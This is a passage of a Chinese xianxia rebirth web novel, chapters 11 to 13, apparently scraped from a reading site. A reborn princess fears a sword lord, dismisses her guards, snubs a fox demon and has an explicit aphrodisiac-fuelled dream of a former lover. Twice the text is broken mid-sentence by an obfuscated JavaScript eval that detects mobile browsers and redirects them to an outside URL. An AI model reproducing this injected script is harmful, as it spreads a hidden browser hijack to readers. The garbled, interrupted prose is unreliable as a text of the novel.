她转头瞥一眼碑上密密麻麻禁锢的名字,脑海里闪动着阎罗身上密集的伤痕,颤声道:“不、不不必了,我就随便看看……” 11. 第 11 章 慕昭然打小便偏爱美好之物,就连身边伺候的侍从都是精挑细选的貌美之人,她是见惯了美人的,初见游辜雪的第一眼,还是为他的容颜而心头一跳。 游辜雪生就了一副昳丽面容,眉骨高挺,眼珠浓黑,骨相和五官都极为优越,额心凝着一道金色剑纹,一身白衣出尘,像是雪中寒梅一般,出尘绝艳,傲雪凌霜,本该是一眼便叫人挪不开眼睛的相貌。 可偏生他周身的气质过于冷厉,杀伐之气实在太重,即便是雪中寒梅,那一瓣瓣的梅花也是用嗜血的剑光凝成,让人看一眼便觉骨肉发寒,害怕被锋芒所伤。 他也的确是天道宫的一把锋刃,持行天剑,斩万般魔,替天行道。 慕昭然前世并未见过他,她进天道宫时,这位行天剑君已经入问心台闭关,待她被逐出天道宫时,听闻他未能通过道心拷问,已陨落在问心台上。 若是游辜雪不曾陨落,她恐怕都逃不出中州,就会死在他的剑下,成为这罪碑之上又一个被雷锁封印的名字,永生永世受人唾骂。 慕昭然方才近距离目睹过他诛邪除恶时的手段,即便那只是一幅短暂的残景,她也被吓得不轻,恍惚觉得那替天行道的雷光已经缠到她脖子上,要将她也撕得粉身碎骨,灰飞烟灭,哪里还敢继续站在他面前。 一句话未说完,她便逃也似的离开了罪碑下,爬上马车的时候险些一脚踩空,幸得霜序出手托了她一把,小声道:“殿下,当心。” 慕昭然踉跄地爬上马车,钻进车厢里,重重把门关上,将车上的帘子全都放了下来。 游辜雪并未阻止她,只盯着她的背影,直到她躲进马车里再看不见,才淡然地收回视线,转回头重新看向罪碑。 慕昭然对前世获罪后的逃亡经历恐惧甚深,若非有阎罗,南荣早就覆灭,她也回不到曾经的优渥生活。被困在他身边当金丝雀的日子,慕昭然的心性异常矛盾,一边依赖讨好着他,一边又厌弃嫌恶着他,一颗心里痴念的都是云霄飏。 即便这样,当真正遇上危险时,她心里祈求的人,从来都只有阎罗。 在她心里,阎罗的确是强大而可以依附的。 可就是阎罗,竟然都曾被游辜雪那般折磨过,慕昭然只要想到他身上的伤,就忍不住战栗,连带着对那位执掌行天剑,诛杀罪徒的剑君亦生出无边的畏惧和厌憎。 她坐在车厢内独自呆了好一会儿,身上竖立的汗毛都没有完全消下去。 慕昭然搓着臂上汗毛,咬着手指小声地安慰自己:“慕昭然啊慕昭然,你这辈子还没开始犯错呢,也还没有被天道宫定罪成为众矢之的,你怕他做什么?别这么没出息,平白招人怀疑,要是被他盯上你就完蛋了……” 天道宫三尊,法尊,剑尊,灵尊。剑尊座下唯二弟子,大弟子行天剑游辜雪,行惩恶之事,二弟子奉天剑云霄飏,施扬善之举,民间对此还有小调流传,说见行天君者,是你恶果临头,见奉天君者,是你喜事盈门。 对慕昭然来说,不管见到他们中的谁,都没有好事,她看见大弟子就害怕得跟看见煞神一样,看见二弟子就头晕脑胀犯桃花癫。 这么一看,她属实是跟剑尊一门犯冲!这一次必得远远避开才好。 没过多时,天道宫出来人迎接四方来客,山门开启的瞬间,一片朱阁青楼宛如铺开的画卷,沿着山门两侧延伸开,落地而成一座宏伟的高楼,当中悬一幅黑底金漆的匾额,名如归楼。 众人被安排进如归楼中稍事休息,慕昭然再从马车上下来时,那位令人发怵的煞神已经不在,她暗暗松了口气,在天道宫童子的引路下,入得楼中。 如归楼内庭院宽阔,廊庑环绕,假山池水与翠青的凤尾竹相得益彰,就连负责引路的童子,一身浅青色衣衫,穿行于庭院中时,步伐轻盈,身形灵动,亦像是这庭院中飘然的一片竹叶,如人入画中。 外来客倒一下子打破了这楼中清幽。 入天道宫的流程繁琐,不是山门一开便可直接闯进去,这座如归楼处在山门脚下,属天道宫外门,楼中掌事亦是天道宫的外门长老。 天道宫每十年往外发放二十四枚燕金令,引得天下人趋之若鹜,最后能真正获得它的人,都不会是什么平庸之辈,大多数从四境而来之人,身边皆跟着一众随从。 这些随从里有哪些人要随着主家一同进入天道宫,又是何种身份,都得预先登记造册,交予如归楼掌事向天道宫提报名录。 这份名册在出发前,圣殿长老便已拟好了,慕昭然接过霜序递来的名册过目。 南荣圣殿以圣女为尊,其下三位化神长老,再之下便是十二灵使,灵使之下又有三千灵卫。 十二灵使俱在元婴修为之上,这一次前来天道宫,瑶姑将八名灵使都给了她,但实际上比起她,圣殿才更需要这些灵使留守。 前世,这八名灵使跟随在自己身边,到最后也都被她连累而枉送了性命。 慕昭然犹豫良久,拿起笔来圈出两个名字,说道:“重拟一份名册,只留霜序和榴月在我身边就好,其余灵使都回南荣去。” 霜序是剑修,榴月是医修,有她们俩在身边就足够了,名册上剩下的便是些服侍生活起居的侍从,都是她在南荣时便用惯了的人。 霜序面露犹豫,“殿下此来天道宫中修习,想要叩开钧天殿的大门,请得承天鉴并非易事,少则几年,多则十数年,身边不能缺了人用,要不再多选几名灵使留在身边?” 她说完,其他人也跟着附和道:“天道宫山高路远,轻易不开山门,前来修习之人来自五湖四海,人心复杂,殿下身边不能少人。” “殿下,此番前来天道宫的,南境之中除了叶大小姐,亦还有浮川容氏、洛金山宁氏这两大世家的公子得了燕金令,世家明面上臣服于南荣,但私下并不与南荣一条心,殿下都得留个心眼防备才是。” “虽然霜序使的剑意已修到出鞘境界,能开剑域,战力可抵半个化神,但光是霜序使一人难免有分身乏术的时候,实在不够保护好你们俩,你把我也留下吧。” “把我也留下!” 榴月在旁边默默张了张嘴,弱声道:“我也会炼毒的……”她又不光只会医术,就算没其他人能打,但是用毒也能撂倒不少人。 慕昭然抬手打断他们的话语,“放心吧,天道宫不会允许人在它的地盘上行不轨之事的。”前世的她可是亲身体会过了。 再来,慕昭然也清楚自己的脾气,她生来贵不可及,恣意任性惯了,留太多灵使在身边,只会让她仗着身边有人依靠,而不断助长心中的歪门邪思。 她其实打心底里也并不觉得前世的自己就错了,也没想过反思,她就是害怕了而已,害怕再走上前世的老路,最后又落得同样的下场。 还不如把他们都遣回去,这样一来就算她再忍不住起什么心思,身边也无人可用。 思及叶离枝,慕昭然心中不免又泛起恶意,如今她已经按照系统的任务,将叶离枝全须全尾地带到了天都城中,当是已经完成任务了。 她闭目内视神魂,看向铭刻在魂魄上的那一道暗红的业莲罪印,如愿看到边缘一笔细长的罪印散作点点星芒,从她魂上消弭。 慕昭然当即高兴了一瞬,随即心情又沉郁下来,只因这一笔和她那累累罪业比起来,实在太微不足道了,一想到往后她还要逼不得已地做许多事,她就半点好心情都没了。 在霜序等人的坚持下,慕昭然又额外勾出南吕和夷则两人来,他们二人一擅作符,一擅衍占,乃是龙凤双生子,姐姐性格活泼开朗,弟弟沉默寡言。 慕昭然心血来潮,转头看向倚靠墙壁默默站在角落里的黑衣少年人,说道:“夷则,那你来占卜一下,此次我入天道宫,是凶是吉。” 夷则站直起身来,似有为难,转眸看向自己姐姐。 “怎么?”慕昭然疑惑,也顺着他的视线看向南吕。 这一对双生子容貌相似,穿着打扮却是两个极端,南吕穿着一身粉裙,头上簪粉色的蝴蝶花,表情灵动,一点也藏不住事,被慕昭然一问,顿时倒豆子似的,把所有都倒出来了。 “殿下,在来天道宫之前,阿则已经帮殿下占过一卦了,一事只能占一卦。” 看他们吞吞吐吐的样子,慕昭然心下了然,“卦象不吉利。” 南吕欲言又止,何止是不吉利,卦象是大凶的下下签,这也是为何大长老会派这么多灵使随在殿下身边,要不是另外四名灵使实在抽不出身,大长老能把十二灵使都派给殿下。 她绞尽脑汁,委婉道:“阿则学艺未精,卜算偶尔也会出错。” 慕昭然笑一笑,没有再为难他们,霜序还要劝说她再多留两人,慕昭然摇摇头,“就你们四人吧。” 霜序重新拟好名册,出去交予天道宫的童子,回来时向慕昭然说道:“叶大小姐将叶离枝的名字,添加到了叶氏的侍从名册中。” “侍从名册?”慕昭然托着腮嘀咕,想了想,应道,“随她。” 除持有燕金令外,随主家一同进入天道宫的侍从是进不了学宫修习的,不过就算如此,能得一些主家赏赐的丹药,或是闲暇时指点一二,对随来的侍从们而言,也是天大的好事。 但是对叶离枝来说却不是什么好事,她想学仙法,想修炼,被加入侍从名册,就意味着她失去了成为天道宫弟子的资格。 上一世,叶离枝独自跑来天都城,在天都城外城生活了一年,不知受哪个贵人相助,进了内城,加入了天道宫在内城的灵阁,算是成为天道宫的外门弟子。 没过多久,又不知因何缘由被灵尊看上,就算她没有燕金令,灵尊也一排众议将她破例收入天道宫内门,同慕昭然成了一样的天道宫内门弟子,慕昭然还得唤她一声师妹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁衰出身自诛魔世家,对妖魔鬼怪都没什么好感,宁氏一族血脉又曾受妖魔诅咒,命中带煞,是以多取贱名。 在他看来,这世上根本不存在什么善妖恶妖之分,只要非我族类,其心必异。奈何天道宫的灵尊出自东海水族,亦是妖修,天道宫自然也会收妖入门。 东境三仙岛,全是妖族。 叶凌烟疑惑道:“他一个二百年修为的狐狸精,独个一人,怎么抢到燕金令的?” 两百年听着很长,在座的四人年岁加起来,都不足两百岁,但是人与妖不同,人为万物长,天生便具慧心通灵智,三岁就能启蒙。 而妖修,光是修出灵智,便要耗去几十上百年,愚钝一些……愚钝一些的也开不了灵智。 总归来说,二百岁的妖,换做人的岁数,大概也同他们差不了多少。 但是他们四人可都不是寻常人,要么拥有皇室贵胄的身份,天然便比别的人容易,慕昭然的那一枚燕金令,是天道宫亲自派人送去的。 要么便是身后有世家大族依仗,都用不着他们出手,家族便会千方百计夺得燕金令来送到家中重点栽培的孩子手里。 想要得到燕金令入天道宫的人和势力都太多了,叶戎身为南荣大将军,想寻到一枚燕金令都那样困难,何况是一只狐狸精。 想到此处,叶凌烟更觉叶离枝那一枚燕金令来得不明不白,偏偏父亲之前怎么拷问她,都没从她嘴里撬出答案来,又不能当真将她审出个三长两短,缺胳膊断腿,最后只得作罢。 容亭觉看了慕昭然一眼,圣女殿下没有开口,他便从善如流地接过话头,继续道:“妖想必有妖的路子,能从那等苦寒之地修炼成才,还能得到燕金令入天道宫,他也定有过人之处。” “我想着大家同是南境出身,入了天道宫也当互相照应,来拜见殿下前,先去过他的居处,本想约他一同前来的,只是不巧,他没在屋中。” 他话音将落,便有侍从入得屋来,向霜序低语几句,霜序上前来禀报道:“殿下,祝轻岚在外求见。” 慕昭然越过窗往外看去,在灯影摇曳之下,隐约能见一道单手转着折扇,在凤竹边摇来晃去的红衣身影。 她一开始便觉得这个名字有些熟悉,听屋中几人叽里咕噜说了一大堆,花费好半天工夫都没想起来,此时看到那个人影,才忽然将名字与人对上。 她视线一转,又看了看不远处和叶凌烟的侍女一起候立在冷风中的叶离枝,心中冷哼。 祝轻岚,她还道是谁,原来是叶离枝身边的小舔狗。 舔狗这个词,还是她临死之时,从那漫天飘落的文字大雪里看见的,用来形容祝轻岚实在太贴切不过。 慕昭然灵光一闪,忽然想到什么,蓦地坐立起来。 ——等等,系统说的那个除男主、男二以外的好男人,该不会就是他吧?! 12. 第 12 章 慕昭然想起系统那仿佛天大的赏赐一般的语气,犹如吃了苍蝇一样恶心,面色一下变得难看至极,断然拒绝道:“不见。” 容亭觉很擅长察言观色,目光不动声色地逡巡过慕昭然的细微神情,起身告辞道:“现下天色已晚,殿下想必也累了,那我们也不便再继续打扰殿下休息了。” 他这样说,宁衰便也跟着起身,一同行礼告退。 叶凌烟欲言又止地看了慕昭然好几回,还没放弃想要和她重修旧好的心思,只是慕昭然现在的表情实在难看,心情很差,她也怕适得其反,便随同另外二人一同告辞。 出来院外,正看到祝轻岚站在凤竹边,手中转着一把折扇。 听到侍从的回话,他露出一脸失望,伸长了脖子往里张望,嘀咕道:“我一直就听说瑶光殿下容姿绝色,倾国倾城,也不知是真是假,还以为今天能见到呢。” 话音未落,一道白练似的剑光从屋内甩出来,照脸朝他打去。 祝轻岚一个旋身,险之又险地避开了那道剑光,虽躲过要害,但耳朵还是被划出一条血口来。 他慌忙抬手去摸,摸到耳朵还在,才心有余悸地将折扇收入掌中,遥遥朝屋内躬身施礼,正色道:“罪过罪过,小狐狸只是想来拜个山头,嘴上没个把门,得罪殿下,请殿下见谅。” 霜序还剑入鞘,冷冷道:“殿下要休息了,都走吧。” 祝轻岚讪讪地又拜了一拜,转身离开,走出几步便听旁边传来一阵压抑不住的闷笑,他循着笑声望过去,看到了容亭觉一行人。 宁衰指着他直捧腹,说道:“拜山头,你们刚听见了没有?他说是来拜山头的哈哈哈,真当殿下也是你们那穷山僻壤里的土妖怪了。” 祝轻岚视线从荣亭觉和宁衰身上扫过,落到后方的叶凌烟身上,霎时眼睛一亮,一缕青烟似的飘过去,“这位姐姐可真漂亮,你叫什么名字?也是从我们南境来要一同进天道宫修炼的吗?” 祝轻岚不愧是狐狸精出身,长相便显阴柔,眼尾灼红的妖纹更是将他精致的五官衬得越发妖媚,一身红衣,烈烈如火。 叶凌烟原本是看不上这等乡野妖物的,但忽然间近距离对上他上挑的狐媚眼,又被他甜言蜜语这么一哄,脑袋顿时熏熏然起来。 眼神痴痴地盯着他,一五一十地答道:“我叫叶凌烟,是南荣叶将军府嫡女,也是持燕金令来天道宫修习的。” 祝轻岚露出显而易见的开怀之色,狐狸眼笑弯成两轮月牙,高兴道:“那太好了,能和漂亮姐姐同窗,也不枉我九死一生才得到这枚燕金令。” 他叹息一声,忍不住诉苦,“这燕金令实在太难拿到了,我能来这里见到姐姐,可吃了不少苦。” 叶凌烟看着他垂落下去的嘴角,心中顿时溢满怜惜之情,恨不得将自己掏心窝子的话都吐露给他听,喃喃道:“我这枚燕金令也得来十分波折,一开始其实是府上贱婢……” 耳畔“啪”一声响,如同惊雷刺入叶凌烟耳中,她熏熏然的大脑陡然清醒过来,意识到自己险些说了什么,连忙一把捂住嘴,惊骇地瞪大眼,转过眼感激地看向打响指之人。 容亭觉垂下手,对她露出一个安抚的笑,转向祝轻岚,道:“大家同出南境,入了天道宫后又是同门,祝兄一见面就对姑娘家使用媚术,未免有些失礼吧?你耳朵上还在滴血呢。” 祝轻岚一双狐狸眼在他们二人脸上转过一圈,抖开折扇往脸上晃了一下,再放下时,五官还是那般精致的五官,但那股魅惑人心的妖媚感却已淡去不见。 赔罪道:“小狐狸我只是穷山僻壤里出来的土妖怪,不懂外面世界的规矩,言语冒失,举止鲁莽,先不小心惹恼了殿下,现在又冒犯了姐姐,姐姐不要生气。” 宁衰叉腰挡在叶凌烟身前,嗤道:“臭狐狸,原来是因本公子的话恼羞成怒了,你有什么不满冲我来就是,欺负旁人算什么本事?” 祝轻岚连忙摆手,“我可没有,我就是因为喜欢姐姐,才会不知不觉施展了狐媚之术,这只是本能而已。” 他说着,阖扇狠狠往自己手心打了三下,“该打,实在该打。”又将扇子朝叶凌烟递过去,“要不姐姐也打我几下出出气?” 叶凌烟吃了这么一亏,哪里还敢看他的眼睛,她没接他的话,转头找到站在不远处廊角阴影下的人,恶狠狠地斥道:“还杵在那里干什么,跟我走!” 叶离枝心知,回去之后自己定然又没有好果子吃,她小心翼翼地偏了偏头,往屋子里睨去一眼,明亮的烛火映照在明瓦窗,霜序抱剑倚靠在门边,冷眼旁观着这一方发生的事。 她的态度便表明了圣女殿下的态度。 叶离枝心中隐约失望,随即又生出自嘲,那一句“保护好她”兴许只是殿下随口一言罢了,偏只有她真的放进了心里。 在叶凌烟恼怒前,叶离枝慌忙低头应了声是,匆匆朝三人行过礼,与侍女一起跟在叶凌烟身后,离开了这里。 祝轻岚视线追着她们的背影,直到再看不见,才遗憾地叹息一声,“月色这么美,一眨眼就只剩下你们两个公人和我一只公狐狸,咱们一群公公相对实在没意思,可惜了如此良辰美景。” 说完,转身飘飘然走远。 隔了半晌,宁衰才反应过来,气冲头顶道:“那臭狐狸竟然说我们俩是公人,还公公相对?这都是什么话?” 容亭觉拍拍他的肩,无奈地笑着摇摇头,“宁公子何必跟一只狐狸计较,早点回去休息吧。” 院外安静下来,霜序回到慕昭然身边,不解道:“殿下和那位祝轻岚有过什么过节么?” 慕昭然道:“从未见过。” 霜序便更为不解了,“这世上能凭一己之力夺得燕金令,又进入天道宫来的人,定然不俗,殿下何不将他拉拢到自己麾下来?我看容公子怕是已经对他动了心思。” “他是条忠心耿耿的狗,早就有主人了,你知道的,我生性爱洁,不爱用这种二手的货色。”慕昭然嫌弃道。 她记得前一世,祝轻岚和叶离枝二人应当很早就勾搭上了,似乎在南荣时就有了深厚的交情,现在倒装得像是全然不认识。 系统说,若是她表现得好,就能从女主身边分得一个除男主、男二以外的好男人,配给她做夫君。 云霄飏不行,因为他是男主,只能是女主的。男二也不行,因为那是叶离枝往上攀登的最大依仗。 那么,便只剩下这么一个深情款款又忠心不二的男三了。 她还必须要表现得好,才能与叶离枝身边的狗配上。 慕昭然想到此处,手一使劲捏碎了茶盏,生生被气笑出声,她笑着笑着,眼眶便泛起红痕,眼角抑制不住地渗出些痛恨与不甘的眼泪来。 霜序听着她的笑声,又看她一副欲哭还笑的表情,如同受了天大的委屈,心口顿时像是被扎进了无数钢针,绞成了一团,赶紧接过她手下的碎瓷放到一边,又回过身来查看她有没有被划伤。 “殿下这是怎么了?要是你实在不喜欢他,可以趁着明日正式拜入天道宫之前,先处置了他,先前他那番孟浪之言实在可恶,我早就气不过了,殿下就算因此处置他,也是合情合理。” 慕昭然反握住她的手,深吸口气调整好情绪,微微一笑道:“没事,不过几句话而已,你也教训过他了,我要是连这都计较,还怎么修身正心,去请下承天鉴来?” 殿下这般宽容大度,霜序反而更加自责,心疼道:“让殿下受委屈了。” 受点委屈算什么,只要不再重蹈覆辙就行了。她真的害怕,害怕她们一个个的都因她而死。 慕昭然拍拍她的手背,“夜深了,你们都回屋休息吧。” 如归楼里的灯火逐渐熄灭,只有些稀疏灯笼挂在檐下。 重回故地,慕昭然实在难眠,披衣倚在窗外看那座雪白的门楼。在月色下,它越发伟岸高洁,不染尘埃,象征着这世间最至高无上的权威。 与它脚下的罪碑,截然不同。 白日里,因为游辜雪的打断,慕昭然没能将那一座罪碑上的名字看完,也不知现在那碑上是否已刻上了阎罗的名字。 她去看罪碑,其实也并非是想要再找到他,阎罗是天道宫的死敌,她不想走上前世之路,今生最好便是能与他毫无瓜葛。 然而,在看到那一座罪碑时,她还是鬼使神差地跳下了车。 “阎罗,前世是我对不起你,想必你最后也恨透了我,今生……”慕昭然话音消失于唇瓣,强迫自己将他抛诸脑后,伸手阖上窗,回身躺回榻上,闭上眼睛。 对不起便对不起吧,她就是这样自私自利的人,哪怕知道了前世阎罗为她所做的一切,再重活一世,她也不可能为了他让自己重新走回老路,那种为了一个人和全天下为敌的事,终究只存在于话本里,还是最愚蠢的话本。 前世所欠,她今生注定无法偿还,最好还是别再遇见了。 屋内烛火哔啵作响,再如何忧重的烦思在疲惫之下都通通散去干净,慕昭然呼吸渐渐平稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164988|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷入沉眠。 不知过去多久,一声清脆响动忽然将慕昭然惊醒,她蓦地睁开眼睛,目之所见却不是如归楼的房间,而是她在南荣的宫殿。 “我怎么又回来了?”慕昭然心脏怦怦直跳,慌乱地站起身来,晃了晃,又站立不稳地沉沉坐回去,鼻息间忽然闻到一股淡淡的酒香。 她恍惚地低头去寻,看到翻倒在地上的酒壶,淡红色的酒液正顺着破裂之处潺潺往外流,一只黑猫蹲在碎裂的酒壶边,用爪子拨弄酒壶。 “乌团,走开点……”慕昭然下意识挥手去赶它。 外间的侍女听到动静,推门进来。 她们对这一幕似乎已习以为常,行动默契,有人收拾地上摔碎的酒壶开窗通风,有人俯身想抱黑猫离开,黑猫身子一扭从侍女手里窜开,不见了踪影。 两名侍女过来扶住她的胳膊,说道:“殿下,奴婢扶您去床上躺着吧。” 慕昭然被她们一左一右半托半抱地搀扶起身,摇摇晃晃往里走,用力甩了甩昏沉的脑袋,透过敞开的半扇窗,看到夜空中攀升的圆月,后知后觉地想起来这是怎么回事了。 今夜是月圆之夜,阎罗要来她这里过夜。 慕昭然厌恶阎罗,她嫌弃他身上遍布的丑陋伤痕,惧怕又恶心他身体里乱窜的蛊虫,就连碰到他的皮肤都不愿意,更何况是和他做那样亲密的事。 可她又离不开阎罗的庇护,依赖他带回来的仙丹灵药养身,每月一次的双修是她所必须付出的代价。 是以,每到月圆之夜,慕昭然都会在阎罗到来之前灌上几杯催丨情酒,只有当欲丨望摧毁意识,她才能毫无负担地伸手去触碰他,去讨好他。 眼下酒气上头,她浑身燥热,意识亦朦胧不清,侍女小心将她扶上床榻,盖好锦被,往外退出去时,一重一重地放下室内的帷幔。 烛光被遮掩,床幔之中很快昏暗下来,只剩下慕昭然在床榻间一声急过一声的喘丨息。 殿门咿呀一声,有人推门进来,撩动帷幔的窸窣声和沉稳的步伐,都像是烈油一样浇在她的意识中,缓慢得令人烈火焚身。 脚步终于站定在床前,高大的身影映在床幔上。 慕昭然掀开最后一重幔纱,一把抓住他的手腕,呼吸之间全是情丨欲的渴望,“阎罗,阎罗……” 来人俯下身,配合她的举动张开手心,贴上那一张绯红的脸颊,盯住她迷离的双眼,问道:“为什么是这种梦呢?” 说完,他停顿片刻,又自嘲地轻笑两声,“也是,我们之间想来也没有别的梦了。” 她既然喜欢做这样的梦,那他便配合她好了。 这样想着,他伸手抚上面颊,银水覆盖上挺直的鼻梁,凝为一张薄银面具,覆盖住冷峻的面容,几条红痕爬上脖颈,幻化出前世遍布在皮肤上的雷击伤痕。 慕昭然唤他的声音带上哭腔,将他拽进床榻内,抬手去抚摸他贴在脸上的薄银面具,阎罗眨了下眼,抬眸看向床幔下一道模糊的黑影,说道:“出去。” 那影子冲出来在他手上狠狠挠了一爪子,才跳下床榻,几个起落从窗缝里挤出去。 “连你的猫都对我这样凶。”阎罗气急而笑,将手背上的抓伤抬起给她看。 慕昭然的眼神已完全化成了一汪春水,呼吸之间只剩下情丨欲的渴望,再不会嫌弃他身上丑陋的伤疤,也想不起什么蛊虫了,更管不了什么猫。 她捧住阎罗的手腕,伸出舌头去舔他手背上的抓伤,又顺着抓伤下的旧日雷击伤疤,往他手腕上亲去。 阎罗手腕一抖,手指筋骨都僵硬地绷紧,在那一下一下柔软的舔吻中,呼吸渐渐粗重,反手掐住她的下颌拉来自己面前,脸上包裹的薄银面具化作柔软的水流往两边分开,露出他伤痕遍布的下半张脸。 慕昭然盯着他的唇痴笑起来,吐着红艳艳的舌尖凑过去,向他索吻。 她现在什么也听不进去,催丨情酒在她血液里涌动,满脑子只知道她想要,他便必须要给。 阎罗抬手捏住她的后颈,张开牙关,放任她的唇舌毫无章法地冲进来,汲取着她所渴望的气息,面具下的眼眸一瞬不离地盯着她,却从那双眼中看不到一丝一毫的清醒之色。 慕昭然难受得哭出声来,催促道:“阎罗,快点……” 阎罗翻过身,一把将她按在榻上,修长的手指抚到轻薄的裙摆边缘,探入进去,凝眸盯着她失神的脸孔,从喉中吐出的每一个字都带着浓烈的恨意,低喃道:“慕昭然,你可真狠心。” 13.第 13 章 铛—— 洪钟响彻,惊醒天都大地,也惊醒了如归楼里的人。 慕昭然猛地睁开眼睛,翻身坐起来,急促地喘着气。 晨光从窗外透进来,她转动眼珠慌乱地四下看了看,抬手咬了一口自己的手指,疼痛刺入感官,她才终于确定,那一夜缠绵原来只是一场梦境。 梦境里,那人贴在她耳边,气息沉重,似乎说了很多话,但慕昭然浑浑噩噩,只记得他用手指将她挑上云端时,从齿缝里挤出的那一句恼恨笑语。 “你这么讨厌丑东西,嫌弃我身上的疤痕恶心,但看起来,却很喜欢我手指上的这些。”他笑了一声,幽幽道,“还馋得口水直流。” 慕昭然捂住脸,忍不住哀叹,“为什么会做这种梦……” 想到那修长指节上粗糙的伤疤,磨在自己最为细嫩的皮肤之处,慕昭然脊骨上便忍不住窜过一阵战栗,扯起被子将自己裹入其中,随即感觉到裙底的湿润。 “口水直流”这四个字顿时化作一把飞刀,从梦境里冲出来,直扎得她面红耳赤。 这与其说是梦,倒不如说是前世的记忆,都说日有所思才会夜有所梦,昨夜她实在想起过他太多次了,既然都决定今生不要再和他有所牵连,以后便不该再想他,不该再梦他。 霜序的声音从门外传来,“殿下,你醒了吗?” 慕昭然应了声,拍拍脸颊让自己清醒过来,扬声道:“叫人准备热水,我要沐浴。” “是。”霜序并无多想,很快便去吩咐侍从,抬进来一桶热水。 …… 云端的钟鸣,每隔一刻钟敲响一次,三次钟鸣之后,山巅上的环云散开,天道宫内山玉门开启。只在这个时候,寻常隐于云雾缥缈中的悬山宫阙,才会完全显现于红尘世间。 金钟挂于玉门之上,后方悬岛错落,山外有山,各座悬岛上平下尖,如同一座座倒伏的山脉,是以亦被称作倒悬山。 苍山碧树之间铸有重重宫阙,以长桥相连,最顶上的悬岛终年覆雪,几乎与天幕的颜色融为一体,只有一条冰梯悬挂下来,与下方悬岛相通。 那至高无上之处,便是钧天殿的所在。 钧天殿可望而不可即,至少是现在的慕昭然还没有能力攀登上去的。 钧天殿下有多座悬岛,几条水瀑从悬岛飞流直下,落入下方山岳,再顺着山势流入天都,流向四方。 天上白玉京,不外如是。 天都城中热闹极了,每一次天道宫开启,都是这下城甚至整个神州大陆的一场盛会。 天道宫诛邪魔镇妖祸,在大灾大恶来临之际挺身而上,曾多次救苍生于危难,在世间百姓心中的地位是其他仙门所不能比拟的,天道宫三尊以及门中德高望重的师长,在人间都有信众,受香火供奉,被谓之地仙。 至于那九重天上,有无天仙,却不是世人可知的,毕竟世上修行者众,古往今来,还没有一人成功飞升过。 只传闻,那位天道宫法尊至今已一千多岁,寿命已快突破地仙之极限,他是这世间最有可能蝉蜕蛇解,羽化飞升,登临天仙之人。 慕昭然因为晨起沐浴,出来得晚了些,袅袅香烟从城中各处飘来,她方推开门,便闻到浓郁的檀香气息,鼻子发痒,打了一个喷嚏。 这会儿所有人都聚集到了室外,仰头望着那天上宫阙,慕昭然初次见到这幅场景时,亦和他们一样,她以前一直觉得南荣的王宫已经足够富丽堂皇,但与天宫相比,地上的宫殿还是逊色良多。 最后一声钟鸣的余音散尽,一群仙鹤从天道宫中振翅飞出,盘旋而下,落到了如归楼的各处院落,来迎接弟子入门。 修士到筑基之后才能借物御空,金丹后能凭空而立,新入门弟子大多在筑基之下,当然也有部分弟子修为较高能够自行御空,但天道宫既已派了仙鹤来迎,众人自是不能拂了天道宫的好意,但凡有点眼力见的都会选择坐仙鹤入宫。 鹤鸣声逼近,一只远比寻常丹顶鹤高大许多的仙鹤朝着圣女殿下居住的东楼而来,轻盈地落到屋脊上,又从屋脊跳到地面来,展开宽大的羽翼来回扑扇。 狂风从仙鹤羽翼下卷起,吹得众人抬袖遮眼,院中凤竹簌簌作响,周围顿时飘起一阵竹雨。 慕昭然抬袖挡开竹叶,失笑道:“知道了,快收了你的大翅膀,本殿下不会白坐你的。” 仙鹤高兴地长鸣一声,终于拢翅收了神通。 霜序取来早就备好的匣子打开,里面是一匣用精纯的上等灵石雕刻而成的灵鱼,慕昭然从匣子里取了一条朝仙鹤抛去,仙鹤细长的脖子一扬,将灵鱼叼住,仰头吞入腹中。 收下买路费的仙鹤曲起细长的腿,乖乖蹲下,等着慕昭然坐上去。 院中侍从都被这见风使舵的家伙逗笑,有人好奇道:“还好我们都备好了这些,要是不喂它的话,会怎么样?” 话音刚落,便听一声惨叫从西院的方向传来,只见一道白影如旱地拔葱,直冲而上,那仙鹤背上的倒霉蛋屁股都还没坐稳当,就从鹤背上滑下去,张牙舞爪地往下落来,活像一只扑腾的蛤丨蟆。 立即有别的仙鹤飞过来接住他,他的惨叫声刚停,那仙鹤高歌一声,又来了一次疾冲。 “啊——救命!”倒霉蛋发出绝望的惨叫,跌跌撞撞地从袖子里掏出一只纸鸢,还没将纸鸢催动,又一只仙鹤飞过来,一翅膀抽飞纸鸢,霸道地将他接到背上,飞行一段后,再猛地振翅用力一抛。 众目睽睽之下,那人就这么被一群仙鹤抛来接去,最终在嗷嗷惨叫声中被颠进了天道宫的悬山之内。 先前说话的侍从抚着心口,面色雪白,“太、太惨了,要是被这么颠,人都被颠散架了吧。”说完,忙提醒院中这只仙鹤,“殿下今日打扮得这样好看,我们交了路费,你可不能这样颠着殿下。” 南吕不放心地往慕昭然的随身储物锦囊里又多塞了一沓浮空符,接话道:“这说的是哪里话,我们殿下日日都打扮得很好看。” 慕昭然确实爱美也爱打扮,往天道宫带来的那几大车的箱子里,除了送入天道宫的拜礼,其中一车专门装的是她的衣裳和首饰。 为了让她能多装点,瑶姑还在箱子上设了一个小型的空间法阵,将每口箱子的空间都扩宽了三倍不止。 毕竟是拜入天道宫的首日,慕昭然今日打扮得是比平日更明艳了几分,上身穿青色的织金衫,下身一袭石榴长裙,腰间系一条坠着玉环的长穗绶带,臂挽披帛,发间珠玉轻摇,额心一点金箔,像是一朵深秋开放的芙蓉花,走动之间翩跹欲飞。 仙鹤歪头看向她,听话地点头,一副老实巴交十分可靠的模样,小眼睛时不时瞟向霜序手里的灵鱼匣子。 